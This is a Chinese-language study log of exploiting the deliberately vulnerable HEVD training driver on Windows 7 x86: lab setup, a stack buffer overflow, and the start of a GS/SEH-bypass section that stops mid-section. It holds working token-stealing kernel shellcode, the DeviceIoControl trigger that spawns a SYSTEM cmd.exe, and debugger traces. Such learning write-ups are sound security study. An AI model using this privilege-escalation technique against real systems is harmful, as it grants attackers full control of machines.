HEVD-Windows7x86 SP1 记录

本文记录自己学习HEVD的全过程。

差不多全部完成了,还有一些小的问题需要完善,然后还有几篇文没有好好看,挑个时间好好看下

就这样吧,待完善的东西以后再说

[toc]

1.环境搭建

虚拟机:

文件名
cn_windows_7_professional_with_sp1_vl_build_x86_dvd_u_677939.iso
SHA1
27AE9FBAF9EE076F50F153353E42A3BE74A61FAB
文件大小
2.33GB
发布时间
2011-05-12
ed2k://|file|cn_windows_7_professional_with_sp1_vl_build_x86_dvd_u_677939.iso|2502909952|935E5B4B754527BE3C238FA6ABDD9B86|/

这个装vmtools有点费劲,用了个浏览器:centbrowser

https://www.catalog.update.microsoft.com/search.aspx?q=kb4474419

image-20230812111418904.png

安装:VirtualKD-Redux-2022.2\target32 image-20230812111613251.png

image-20230812111708539.png

重启F8 image-20230812111827122.png

配置Win7测试模式:

  • 管理员运行cmd:bcdedit -debug on
  • 重启系统

Win7 配置永久禁止验证驱动文件

gpedit.msc –> 用户配置 –> 管理模板 –> 系统 –> 驱动程序安装-> 设备驱动程序的代码签名 –> 选择已启用 –>选项选择忽略,重启

image-20230812112351965.png

dbgview kmdmanager

image-20230812113512169.png

kd> lm m h*
Browse full module list
start    end        module name
84238000 8426e000   hal        (deferred)             
88635000 8863d000   hwpolicy   (deferred)             
9240c000 92491000   HTTP       (deferred)             
9d2b3000 9d2d2000   HDAudBus   (deferred)             
9d855000 9d8a5000   HdAudio    (deferred)             
9d9b6000 9d9c1000   hidusb     (deferred)             
9d9c1000 9d9d4000   HIDCLASS   (deferred)             
9d9d4000 9d9da480   HIDPARSE   (deferred)             
aa16b000 aa1b5000   HEVD       (private pdb symbols)  d:\winddk\symbols\HEVD.pdb\8921ACC09C6B46A38CA2F42DA3E21ADA1\HEVD.pdb

将gdb文件放到符号表目录里,我的是:

.sympath SRV*D:\WinDDK\symbols*http://msdl.microsoft.com/download/symbols;
.reload

测试符号表:x HEVD!*

kd> x HEVD!*
aa16e014          HEVD!__security_cookie_complement = 0x2aaa9a21
aa16e018          HEVD!g_ARWHelperObjectNonPagedPoolNx = struct _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *[65535]
aa1ae014          HEVD!g_UseAfterFreeObjectNonPagedPool = 0x00000000
aa16d04c          HEVD!__guard_check_icall_fptr = 0xaa16c404
aa16d050          HEVD!GuardCheckLongJumpTargetImpl = 0x00000000
aa16d140          HEVD!__safe_se_handler_table = void *[]
aa16d098          HEVD!_load_config_used = struct _IMAGE_LOAD_CONFIG_DIRECTORY32
aa16e010          HEVD!__security_cookie = 0xd55565de
aa16e000          HEVD!__NLG_Destination = struct _NLG_INFO
aa1ae018          HEVD!g_UseAfterFreeObjectNonPagedPoolNx = 0x00000000
aa1b1410          HEVD!FreeUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
aa1b17f2          HEVD!UaFObjectCallbackNonPagedPoolNx (void)
aa1b0920          HEVD!TriggerMemoryDisclosureNonPagedPoolNx (void *, unsigned long)
aa1b03aa          HEVD!TriggerDoubleFetch (struct _DOUBLE_FETCH *)
aa1b0ade          HEVD!TriggerNullPointerDereference (void *)
aa1b173c          HEVD!FreeUaFObjectNonPagedPoolNx (void)
aa16c045          HEVD!__SEH_epilog4 (void)
aa16c3a5          HEVD!_NLG_Notify (void)
aa16c000          HEVD!__SEH_prolog4 (void)
aa1b0aaa          HEVD!NullPointerDereferenceIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
aa16c2d0          HEVD!_unwind_handler4 (void)
aa1af5e4          HEVD!CreateArbitraryReadWriteHelperObjectNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
aa1b1806          HEVD!UseUaFObjectNonPagedPoolNx (void)
aa1b14f0          HEVD!AllocateFakeObjectNonPagedPoolNx (struct _FAKE_OBJECT_NON_PAGED_POOL_NX *)
aa1b14e8          HEVD!UseUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)

编程环境这里wdk和sdk要一样,都安装的1809的那个

我又装了个vs2017,重新编译的,可能需要注意的几个地方:

MSB8038	已启用 Spectre 缓解,但找不到 Spectre 缓解库。验证 Visual Studio 工作负荷包括 Spectre 缓解库。有关详细信息,请参阅 https://aka.ms/Ofhn4c。	HackSysExtremeVulnerableDriver	C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets	402	

禁用掉

image-20230812075020399.png

Invalid certificate or password.	HackSysExtremeVulnerableDriver	D:\Windows Kits\10\build\WindowsDriver.common.targets	1373	

HEVD.pfx删掉: https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/issues/29

image-20230812075232152.png

"Inf2Cat, signability test failed." Double click to see the tool output.	HackSysExtremeVulnerableDriver	C:\Users\29927\Downloads\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\x64\DebugSecure\inf2catOutput.log	1	

设置成本地事件即可

image-20230812075339890.png

之后注册打开就行:

image-20230812075610578.png

输入命令 lm m h*

1: kd>  lm m h*
Browse full module list
start             end                 module name
fffff805`09875000 fffff805`09912000   hal        (deferred)             
fffff805`0e3e0000 fffff805`0e448000   HdAudio    (deferred)             
fffff805`0e680000 fffff805`0e7cd000   HTTP       (deferred)             
fffff805`0e8b0000 fffff805`0e8c3000   HIDPARSE   (deferred)             
fffff805`0ecf0000 fffff805`0ed02000   hidusb     (deferred)             
fffff805`0ed10000 fffff805`0ed4b000   HIDCLASS   (deferred)             
fffff805`0ef30000 fffff805`0ef4f000   HDAudBus   (deferred)             
fffff805`0f8b0000 fffff805`0f93e000   HEVD       (deferred) 

2.StackOverflow-TriggerBufferOverflowStack

HEVD源码示例 HackSysExtremeVulnerableDriver-3.00\Driver\HEVD\BufferOverflowStack.c 即为存在栈溢出的源码文件

没有检查UserBuffer的大小直接复制给了KernelBuffer

int __stdcall TriggerBufferOverflowStack(void *UserBuffer, unsigned int Size)
{
  unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch] BYREF
  CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

  memset(KernelBuffer, 0, sizeof(KernelBuffer));
  ms_exc.registration.TryLevel = 0;
  ProbeForRead(UserBuffer, 0x800u, 1u);
  _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
  _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
  _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);
  _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 2048);
  _DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
  memcpy(KernelBuffer, UserBuffer, Size);
  return 0;
}

执行流程:DriverEntry->IrpDeviceIoCtlHandler-> BufferOverflowStackIoctlHandler->TriggerBufferOverflowStack

IoControlCode为0x222003时进入BufferOverflowStackIoctlHandler

image-20230812220243415.png

PAGE:00444064 ; int __stdcall IrpDeviceIoCtlHandler(_DEVICE_OBJECT *DeviceObject, _IRP *Irp)
PAGE:00444064 _IrpDeviceIoCtlHandler@8 proc near      ; DATA XREF: DriverEntry(x,x)+87o
PAGE:00444064
PAGE:00444064 DeviceObject    = dword ptr  8
PAGE:00444064 Irp             = dword ptr  0Ch
PAGE:00444064
PAGE:00444064                 push    ebp
PAGE:00444065                 mov     ebp, esp
PAGE:00444067                 push    ebx//这里push的后面要堆栈平衡
PAGE:00444068                 push    esi
PAGE:00444069                 push    edi
PAGE:0044406A                 mov     edi, [ebp+Irp]
PAGE:0044406D                 mov     ebx, 0C00000BBh
PAGE:00444072                 mov     eax, [edi+60h]
PAGE:00444075                 test    eax, eax
PAGE:00444077                 jz      loc_4444C5
PAGE:0044407D                 mov     ebx, eax
PAGE:0044407F                 mov     ecx, [ebx+0Ch]
PAGE:00444082                 lea     eax, [ecx-222003h] ; switch 109 cases
PAGE:00444088                 cmp     eax, 6Ch
PAGE:0044408B                 ja      def_444098      ; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526
PAGE:00444091                 movzx   eax, byte ptr ds:Index_Table[eax]
PAGE:00444098                 jmp     ds:Func_Table[eax*4] ; switch jump
...
PAGE:004444D6                 pop     edi
PAGE:004444D7                 pop     esi
PAGE:004444D8                 mov     eax, ebx
PAGE:004444DA                 pop     ebx
PAGE:004444DB                 pop     ebp
PAGE:004444DC                 retn    8

利用

KernelBuffer到ret是0x81c + 0x4 = 0x820h

image-20230812222729890

首先生成shellcode空间:

memset(buffer, 'A', 0x824);  
*(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7;  

_EPROCESS结构体

struct _EPROCESS
{
    ...
    VOID* UniqueProcessId;                                                  //0xb4
    ...
    struct _EX_FAST_REF Token;                                              //0xf8
    ...
}

获取systemtoken并覆盖自己的token:

VOID TokenStealingPayloadWin7() {
	// Importance of Kernel Recovery
	__asm {
		pushad; 保存各寄存器数据
		; start of Token Stealing Stub

		xor eax, eax; eax设置为0
		mov eax, fs: [eax + 124h]; 获取 nt!_KPCR.PcrbData.CurrentThread
		mov eax, [eax + 050h]; 获取 nt!_KTHREAD.ApcState.Process
		mov ecx, eax; 将本进程EPROCESS地址复制到ecx
		mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, 0b8h
			cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID; 循环检测是否是SYSTEM进程PID

			mov edx, [eax + 0f8h]; 获取System进程的Token
			mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
			; End of Token Stealing Stub

			popad; 恢复各个寄存器数据

			; Kernel Recovery Stub//恢复堆栈平衡防止蓝屏
			xor eax, eax; 返回状态 SUCCEESS
			add esp, 12; Fix the stack,复原前面IrpDeviceIoCtlHandler push的ebx esi edi
			pop ebp; Restore saved EBP
			ret 8; Return cleanly
	}
}

之后调用SYSTEM token执行cmd

static VOID Cmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

与驱动交互:

    //调用驱动HackSysExtremeVulnerableDriver
  hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );

//向HackSysExtremeVulnerableDriver传入控制码0x222003到达TriggerBufferOverflowStack,传入0x824大小的数据
DeviceIoControl(hDevice, 0x222003, buffer, 0x824, NULL, 0, &bReturn, NULL);

image-20230812231728286

利用分析

查看驱动服务开启后目标函数位于内存的位置:

kd> x HEVD!*
...
ad33561a          HEVDTriggerIntegerOverflow (void *, unsigned long)
....

跟踪ad33561a

kd> u ad3351a2 L50 
ad3351a2 680c080000      push    80Ch
ad3351a7 68e0232fad      push    offset HEVD!__safe_se_handler_table+0x2a0 (ad2f23e0)
ad3351ac e84fbefbff      call    HEVD!__SEH_prolog4 (ad2f1000)
ad3351b1 33ff            xor     edi,edi
ad3351b3 bb00080000      mov     ebx,800h
ad3351b8 53              push    ebx
ad3351b9 57              push    edi
ad3351ba 8d85e4f7ffff    lea     eax,[ebp-81Ch]
ad3351c0 50              push    eax
ad3351c1 e81cc0fbff      call    HEVD!memset (ad2f11e2)
ad3351c6 83c40c          add     esp,0Ch
ad3351c9 897dfc          mov     dword ptr [ebp-4],edi
ad3351cc 6a01            push    1
ad3351ce 53              push    ebx
ad3351cf ff7508          push    dword ptr [ebp+8]
ad3351d2 ff1524202fad    call    dword ptr [HEVD!_imp__ProbeForRead (ad2f2024)]
ad3351d8 ff7508          push    dword ptr [ebp+8]
ad3351db 68ee7433ad      push    offset HEVD! ?? ::NNGAKEGL::`string' (ad3374ee)
ad3351e0 6a03            push    3
ad3351e2 6a4d            push    4Dh
ad3351e4 5b              pop     ebx
ad3351e5 53              push    ebx
ad3351e6 8b3504202fad    mov     esi,dword ptr [HEVD!_imp__DbgPrintEx (ad2f2004)]
ad3351ec ffd6            call    esi
ad3351ee ff750c          push    dword ptr [ebp+0Ch]
ad3351f1 68047533ad      push    offset HEVD! ?? ::NNGAKEGL::`string' (ad337504)
ad3351f6 6a03            push    3
ad3351f8 53              push    ebx
ad3351f9 ffd6            call    esi
ad3351fb 8d85e4f7ffff    lea     eax,[ebp-81Ch]
ad335201 50              push    eax
ad335202 68207533ad      push    offset HEVD! ?? ::NNGAKEGL::`string' (ad337520)
ad335207 6a03            push    3
ad335209 53              push    ebx
ad33520a ffd6            call    esi
ad33520c 6800080000      push    800h
ad335211 68387533ad      push    offset HEVD! ?? ::NNGAKEGL::`string' (ad337538)
ad335216 6a03            push    3
ad335218 53              push    ebx
ad335219 ffd6            call    esi
ad33521b 83c440          add     esp,40h
ad33521e 68167633ad      push    offset HEVD! ?? ::NNGAKEGL::`string' (ad337616)
ad335223 6a03            push    3
ad335225 53              push    ebx
ad335226 ffd6            call    esi
ad335228 ff750c          push    dword ptr [ebp+0Ch]
ad33522b ff7508          push    dword ptr [ebp+8]
ad33522e 8d85e4f7ffff    lea     eax,[ebp-81Ch]
ad335234 50              push    eax
ad335235 e8a2bffbff      call    HEVD!memcpy (ad2f11dc)//为溢出函数
ad33523a 83c418          add     esp,18h
ad33523d eb27            jmp     HEVD!TriggerBufferOverflowStack+0xc4 (ad335266)
ad33523f 8b45ec          mov     eax,dword ptr [ebp-14h]
ad335242 8b00            mov     eax,dword ptr [eax]
ad335244 8b00            mov     eax,dword ptr [eax]
ad335246 8945e4          mov     dword ptr [ebp-1Ch],eax
ad335249 33c0            xor     eax,eax
ad33524b 40              inc     eax
ad33524c c3              ret
ad33524d 8b65e8          mov     esp,dword ptr [ebp-18h]
ad335250 8b7de4          mov     edi,dword ptr [ebp-1Ch]
ad335253 57              push    edi
ad335254 68f07233ad      push    offset HEVD! ?? ::NNGAKEGL::`string' (ad3372f0)
ad335259 6a03            push    3
ad33525b 6a4d            push    4Dh
ad33525d ff1504202fad    call    dword ptr [HEVD!_imp__DbgPrintEx (ad2f2004)]
ad335263 83c410          add     esp,10h
ad335266 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
ad33526d 8bc7            mov     eax,edi
ad33526f 8b4df0          mov     ecx,dword ptr [ebp-10h]
ad335272 64890d00000000  mov     dword ptr fs:[0],ecx
ad335279 59              pop     ecx
ad33527a 5f              pop     edi
ad33527b 5e              pop     esi
ad33527c 5b              pop     ebx
ad33527d c9              leave
ad33527e c20800          ret     8
ad335281 cc              int     3
ad335282 55              push    ebp
ad335283 8bec            mov     ebp,esp

ad335235call HEVD!memcpy (ad2f11dc)是溢出发生的函数

下断点之后运行:

bp ad335235
g

image-20230813000610281

看此时的ebp

aadb7ab0->aadb7ac0->aadb7adc->00000000

这里ebp实际为aadb7adc

kd> dd ebp
aadb7ab0  aadb7ac0 ad33519a 002cf2ac 00000824
aadb7ac0  aadb7adc ad3340ba 87561850 875618c0
aadb7ad0  85b68f80 87785818 00000000 aadb7af4
aadb7ae0  83e87f87 87785818 87561850 87561850
aadb7af0  87785818 aadb7b14 84085eec 00000000
aadb7b00  87561850 875618c0 00000094 04db7bac
aadb7b10  aadb7b24 aadb7bd0 840892a8 87785818

单步步过p

kd> p
HEVD!TriggerBufferOverflowStack+0x98:
ad33523a 83c418          add     esp,18h

查看esp和ebp:

kd> dd esp
aadb726c  aadb7294 002cf2ac 00000824 0000004d
aadb727c  00000003 ad337616 576f491a 87561850
aadb728c  83f1617c 875618c0 41414141 41414141
aadb729c  41414141 41414141 41414141 41414141
aadb72ac  41414141 41414141 41414141 41414141
aadb72bc  41414141 41414141 41414141 41414141
aadb72cc  41414141 41414141 41414141 41414141
aadb72dc  41414141 41414141 41414141 41414141
kd> dd ebp
aadb7ab0  41414141 013b1040 002cf2ac 00000824
aadb7ac0  aadb7adc ad3340ba 87561850 875618c0
aadb7ad0  85b68f80 87785818 00000000 aadb7af4
aadb7ae0  83e87f87 87785818 87561850 87561850
aadb7af0  87785818 aadb7b14 84085eec 00000000
aadb7b00  87561850 875618c0 00000094 04db7bac
aadb7b10  aadb7b24 aadb7bd0 840892a8 87785818
aadb7b20  85b68f80 00000000 00000101 00025900

可以看到压入的数据已经覆盖到了ebp的地址,然后改写ret地址为shellcode地址

kd> u 013b1040 
013b1040 53              push    ebx
013b1041 56              push    esi
013b1042 57              push    edi
013b1043 60              pushad
013b1044 33c0            xor     eax,eax
013b1046 648b8024010000  mov     eax,dword ptr fs:[eax+124h]
013b104d 8b4050          mov     eax,dword ptr [eax+50h]
013b1050 8bc8            mov     ecx,eax
kd> u 013b1040 L20
013b1040 53              push    ebx
013b1041 56              push    esi
013b1042 57              push    edi
013b1043 60              pushad
013b1044 33c0            xor     eax,eax
013b1046 648b8024010000  mov     eax,dword ptr fs:[eax+124h]
013b104d 8b4050          mov     eax,dword ptr [eax+50h]
013b1050 8bc8            mov     ecx,eax
013b1052 ba04000000      mov     edx,4
013b1057 8b80b8000000    mov     eax,dword ptr [eax+0B8h]
013b105d 2db8000000      sub     eax,0B8h
013b1062 3990b4000000    cmp     dword ptr [eax+0B4h],edx
013b1068 75ed            jne     013b1057
013b106a 8b90f8000000    mov     edx,dword ptr [eax+0F8h]
013b1070 8991f8000000    mov     dword ptr [ecx+0F8h],edx
013b1076 61              popad
013b1077 33c0            xor     eax,eax
013b1079 83c40c          add     esp,0Ch
013b107c 5d              pop     ebp
013b107d c20800          ret     8
013b1080 5f              pop     edi
013b1081 5e              pop     esi
013b1082 5b              pop     ebx
013b1083 c3              ret

继续执行,当ad33527e c20800 ret 8执行完后,就去执行shellcode了:

image-20230813001528633

pop ebp对堆栈进行平衡后的ebp:已还原

kd> dd ebp
aadb7adc  aadb7af4 83e87f87 87785818 87561850
aadb7aec  87561850 87785818 aadb7b14 84085eec
aadb7afc  00000000 87561850 875618c0 00000094
aadb7b0c  04db7bac aadb7b24 aadb7bd0 840892a8
aadb7b1c  87785818 85b68f80 00000000 00000101
aadb7b2c  00025900 00000002 92412bc0 0000001c
aadb7b3c  002cf1cc 840d07a9 95b108bc 00000000
aadb7b4c  95b10850 aadb7bb4 00000000 0012019f

shellcode分析

查看所有进程EPROCESS首地址:

!dml_proc

查看凭证:

进程Token在EPROCESS结构体偏移0xF8

struct _EPROCESS
{
    ...
    VOID* UniqueProcessId;                                                  //0xb4
    ...
    struct _EX_FAST_REF Token;                                              //0xf8
    ...
}
copy
//0x4 bytes (sizeof)
struct _EX_FAST_REF
{
    union
    {
        VOID* Object; //0x0
        ULONG RefCnt:3; //0x0
        ULONG Value;  //0x0
    };
}; 

这里使用svchost.exe作为示例:

  1. 直接通过!process查看
kd> !process 0 0
PROCESS 8664ba58  SessionId: 0  Cid: 0d08    Peb: 7ffda000  ParentCid: 01fc
    DirBase: 3ebc44e0  ObjectTable: 89b87328  HandleCount: 313.
    Image: svchost.exe
kd> !process 8664ba58  
PROCESS 8664ba58  SessionId: 0  Cid: 0d08    Peb: 7ffda000  ParentCid: 01fc
    DirBase: 3ebc44e0  ObjectTable: 89b87328  HandleCount: 313.
    Image: svchost.exe
    VadRoot 87864f18 Vads 106 Clone 0 Private 468. Modified 92. Locked 0.
    DeviceMap 89006880
    Token                             898fcc78
    ElapsedTime                       01:06:20.6
  1. 通过EPROCESS偏移查看
kd> dt nt!_EX_FAST_REF 8664ba58+0xf8
   +0x000 Object           : 0x898fcc7e Void
   +0x000 RefCnt           : 0y110
   +0x000 Value            : 0x898fcc7e
  1. 直接查看内存数据
kd> dd 0x8664ba58+0xF8
ReadVirtual: 8664bb50 not properly sign extended
8664bb50  898fcc7e 0001c924 00000000 00000000
8664bb60  00000000 00000000 00000000 00000000
8664bb70  000001d4 00000000 fe939bd0 00000000
8664bb80  9c6690c0 000d0000 273f0e8d 00000000
8664bb90  00000000 00000088 000001fc 00000000
8664bba0  00000000 00000000 89006880 85b29890
8664bbb0  7ffd8000 00000000 00000000 00000000
8664bbc0  8d5f1000 68637673 2e74736f 00657865

可以看到1和2,3是不一样的:

!process命令会自动应用掩码,并从显示信息中过滤引用计数;我们可以通过使用最右3比特置零的掩码,在如下表达式求值的帮助下,人工实现相同的功能:

?[token] & 0xFFFFFFF8

如下即可生成应用掩码后的Token

kd> ?[898fcc7e] & 0xFFFFFFF8
Evaluate expression: -1987064712 = 898fcc78

但是需要的是没有掩码前的token

调用到EPROCESS结构体的流程:

KPCR(PrcbData):PrcbData是 _KPRCB结构,PrcbData=KPCR+0x120
=>
KPRCB(CurrentThread):CurrentThread是_KTHREAD结构,CurrentThread=KPRCB+0x4
=>
KTHREAD(ApcState):ApcState是_KAPC_STATE结构,ApcState=KTHREAD+0x40
=>
KAPC_STATE(Process):Process是_KPROCESS结构,Process=KAPC_STATE+0x10
=>
KPROCESS

EPROCESS结构体偏移0x0b8表示所有进程的双向链表,双向链表LIST_ENTRY将所有正在运行的进程链接到一条关系线上:

copy
//0x8 bytes (sizeof)
struct LIST_ENTRY32
{
    ULONG Flink;  //0x0
    ULONG Blink;  //0x4
}; 

修复方案:

size设置为sizeof(KernelBuffer)即可

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));

3.StackOverflowGS-TriggerBufferOverflowStackGS

https://klue.github.io/blog/2017/09/hevd_stack_gs/?msclkid=9bb65ef4cf4a11ec8dd20f19f6cc758c

这个是有GS保护的栈溢出

GS编译选项为每个函数调用增加了一些额外的数据和操作,用以检测栈中的溢出。 在所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD,随机数标注为“SecurityCookie”。 Security Cookie位于EBP之前,系统还将在.data的内存区域中存放一个Security Cookie的副本

img

在函数返回之前,系统将执行一个额外的安全验证操作,被称做 Security check。在Security Check的过程中,系统将比较栈帧中原先存放的Security Co okie和.data中副本的值,如果两者不吻合,说明栈帧中的Security Cookie已被破坏,即栈中发生了溢出。当检测到栈中发生溢出时,系统将进入异常处理流程,函数不会被正常返回,ret 指令也不会被执行

img

但是额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的影响降到最小,编译器在编译程序的时候并不是对所有的函数都应用GS,以下情况不会应用GS。 (1)函数不包含缓冲区。 (2)函数被定义为具有变量参数列表。 (3)函数使用无保护的关键字标记。 (4)函数在第一个语句中包含内嵌汇编代码。 (5)缓冲区不是8字节类型且大小不大于4个字节。

除了在返回地址前添加Security Cookie外,在Visual Studio 2005及后续版本还使用了变量重排技术,在编译时根据局部变量的类型对变量在栈帧中的位置进行调整,将字符串变量移动到栈帧的高地址。这样可以防止该字符串溢出时破坏其他的局部变量。同时还会将指针参数和字符串参数复制到内存中低地址,防止函数参数被破坏

img

GS机制并没有对S.E.H 提供保护,可以通过攻击程序的异常处理达到绕过GS 的目的

异常处理函数:

EXCEPTION_DISPOSITION
__cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord,
                        void * EstablisherFrame,
                        struct _CONTEXT *ContextRecord,
                        void * DispatcherContext);

Visual C++为使用结构化异常处理的函数生成的标准异常堆栈帧:

H
EBP-00 _ebp
EBP-04 trylevel
EBP-08 scopetable数组指针
EBP-0C handler函数地址
EBP-10指向前一个EXCEPTION_REGISTRATION结构
EBP-14 GetExceptionInformation
EBP-18 栈帧中的标准ESP
L

漏洞点分析

lm  查看所有已加载模块
lm m H* 设置过滤,查找HEVD模块
lm m HEVD

对于BufferOverflowStackGS,不攻击返回地址,而攻击SEH,覆盖SEH handle ,人为构造异常,触发异常,执行异常处理函数.

##define BUFFER_SIZE 512  

NTSTATUS
TriggerBufferOverflowStackGS(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    UCHAR KernelBuffer[BUFFER_SIZE] = { 0 };
    PAGED_CODE();
    __try
    {
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
##ifdef SECURE
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));//安全版本
##else
        DbgPrint("[+] Triggering Buffer Overflow in Stack (GS)\n");
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);//不安全版本,未对size做限制
##endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}

ebp与sehandler偏移为0xC,确定下KernelBuffer的地址,然后ebp-0xC-KernelBuffer就可以确定偏移了

kd> bp HEVD!TriggerBufferOverflowStackGS
kd> g
Breakpoint 0 hit
HEVD!TriggerBufferOverflowStackGS:
ac51a2a6 6810020000      push    210h
kd> r
eax=0000020e ebx=878bb7f0 ecx=c0000001 edx=003d3bd0 esi=83f1817c edi=878bb780
eip=ac51a2a6 esp=8b47fab4 ebp=8b47fac0 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
HEVD!TriggerBufferOverflowStackGS:
ac51a2a6 6810020000      push    210h
    
8b47f894
    8b47fab0

确定偏移

这里有两种方法:

  • 随机字符串

生成一段随机字符串:

$ ./pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

测试程序:

##include <iostream>
##include <Windows.h>

